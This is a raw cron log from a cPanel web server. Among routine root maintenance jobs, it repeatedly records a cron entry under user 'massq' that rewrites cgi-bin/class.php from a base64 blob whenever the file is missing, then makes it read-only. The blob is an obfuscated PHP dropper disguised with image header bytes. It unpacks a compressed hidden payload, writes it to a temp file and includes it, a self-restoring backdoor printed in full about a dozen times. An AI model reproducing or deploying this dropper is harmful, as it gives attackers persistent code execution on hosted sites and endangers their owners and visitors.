Aug 31 23:38:01 server CROND[1293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:39:01 server CROND[1685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:39:01 server CROND[1687]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 23:39:01 server CROND[1686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:39:01 server CROND[1688]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:40:01 server CROND[2119]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:40:01 server CROND[2121]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 23:40:01 server CROND[2123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:40:01 server CROND[2125]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 23:40:01 server CROND[2124]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 23:40:01 server CROND[2127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:40:01 server CROND[2126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:40:01 server CROND[2122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:41:01 server CROND[3082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:41:01 server CROND[3084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:41:01 server CROND[3083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:42:01 server CROND[3465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:42:01 server CROND[3466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:42:01 server CROND[3467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:42:01 server CROND[3468]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 23:43:01 server CROND[3857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:43:01 server CROND[3858]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:43:01 server CROND[3859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:44:01 server CROND[4250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:44:01 server CROND[4251]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:44:01 server CROND[4252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:45:01 server CROND[4637]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:45:01 server CROND[4638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:45:01 server CROND[4639]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 23:45:01 server CROND[4640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:45:01 server CROND[4642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:45:01 server CROND[4643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:45:01 server CROND[4645]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 23:46:01 server CROND[5564]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:46:01 server CROND[5566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:46:01 server CROND[5565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:47:01 server CROND[5949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:47:01 server CROND[5950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:47:01 server CROND[5951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:48:01 server CROND[6332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:48:01 server CROND[6333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:48:01 server CROND[6334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:49:01 server CROND[6741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:49:01 server CROND[6742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:49:01 server CROND[6743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:50:01 server CROND[7149]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 23:50:01 server CROND[7153]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 23:50:01 server CROND[7162]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
